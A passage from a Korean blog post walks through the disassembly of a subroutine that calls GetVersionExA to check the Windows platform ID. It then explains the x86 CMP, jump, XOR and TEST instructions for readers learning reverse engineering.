전역변수에 값을 할당하는 것을 볼 수 있습니다.

 

그렇다면 sub_10003695는 무엇을 하는 서브루틴일까요?

더블클릭하여 이동하면 아래와 같이 GetVersionExA 함수를 사용하는 소스임을 알 수있습니다.

아래 소스코드가 한눈에 파악이 안되어, Syntax부터 살펴보기로 했습니다.

 

GetVersionExA API의 SynTax는 아래와 같고, lpVersionInfo 파라미터를 넣어줘야 합니다.

push eax 를 이용하여 파라미터를 넣어주었고, GetVersionExA API로 버전값을 알아낸 것으로 보입니다.

 

이후에 VersionInformation 내부의 dwPlatformId 값이 2인지 CMP 명령어를 이용하여 비교를 하게 되는데,

참고로 dwPlatformId는 아래와 같이 윈도우 버전에 관련된 변수입니다.

 

두값이 같을 경우, CMP명령어의 결과는 0이되고 제로플래그(ZF)가 1로 세팅됩니다.

ZF가 1이라면 SETZ 명령어에 의해 AL(EAX의 하위 8비트)가 1로 세팅됩니다.

 

정리하면, Windows 계열인 경우 서브루틴 sub_10003695가 1을 리턴할 것이고,

리턴되는 값이 dword_1008E5C4 값에 저장될 것입니다.

답 : 운영체제 버전 저장

 

--------------------------------------------------------------------------------------------------------------------------------------------------

Tip. CMP 그리고 JUMP (JA vs JB vs JE vs JZ)

1) CMP

CMP는 묵시적으로 Op1(Destincationm, 피연산자)에서 Op2(Source, 소스피연산자)와의 뺄셈을 수행 ex) CMP Op1, Op2

그리고 어떤 피연산자도 수정되지 않지만, 뺄셈을 수행하다보니 플래그를 수정합니다.

- Op1 - Op2 < 0, ZF=0 CF=1

- Op1 - Op2 > 0, ZF=0 CF=0

- Op1 - Op2 = 0, ZF=1 CF=0

2) JUMP

JMP와 관련된 명령어는 매우 많지만 이번 문제에서 자주 쓰이는 Jump 명령어를 정리합니다.

- JA : Jump if Above / CMP로 두 값을 비교하여 Op1(왼쪽) 크면 Jump  /  ZF = 0  and  CF = 0

- JB : Jump if Below / CMP로 두 값을 비교하여 Op2(오른쪽) 크면 Jump  /  CF = 1

- JE : Jump if Equal / CMP로 두 값을 비교하여 Op1, Op2 값이 같으면 Jump  /  ZF = 1

- JZ : Jump if Zero / 결과값이 0이면 Jump / ZF = 1

- JNZ : Jump if not Zero / 결과값이 0이 아니면 Jump / ZF = 0

 

Tip. CMP 이전에 수행하는 XOR EAX, EAX 명령어

XOR 명령어는 Overflow와 Carry 플래그를 항상 0으로 해제합니다.

또한 EAX는 서로다른 값일때만 1로 세팅되므로,

XOR EAX, EAX를 수행할 경우, 서로가 같은 값을 가지므로 0으로 초기화됩니다.

한마디로 CMP이전에 수행되는 해당 명령어는 청소도구라고 생각하면 되겠네요!

 

Tip. 함수에서 돌아온 이후 수행하는 TEST EAX, EAX 명령어

예를들어, memcmp 함수가 수행된 이후에 TEST EAX, EAX를 수행한다면 어떤 의미일까요?

TEST 명령어는 묵시적으로 두 피연산자의 대응되는 각 비트 쌍에 대해 AND 연산자를 수행하고,

결과에 따라서 플래그를 설정합니다. 또한 TEST 명령어는 연산자에 어떤 영향을 주지 않습니다.

하지만 이러한 글을 다 기억하는 것보다는, 자주 쓰이는 사례의 의미를 기억하는게 더 효율적이겠지요.

- CMP명령어는 두 OP가 동일한지를 판단하며

- TEST명령어는 두 OP가 모두 0인지 판단합니다.

즉 위에서 예로든 memcmp 함수가 시행된 이후에 EAX값에 리턴값이 설정되어 있을것이고

TEST명령으로 해당 값이 0인지 확인하는데 사용됩니다.

즉, memcmp로 비교한 문자열이 동일한가? 라는것을 TEST 명령어로 체크하는겁니다.

--------------------------------------------------------------------------------------------------------------------------------------------------

posted by Red_Message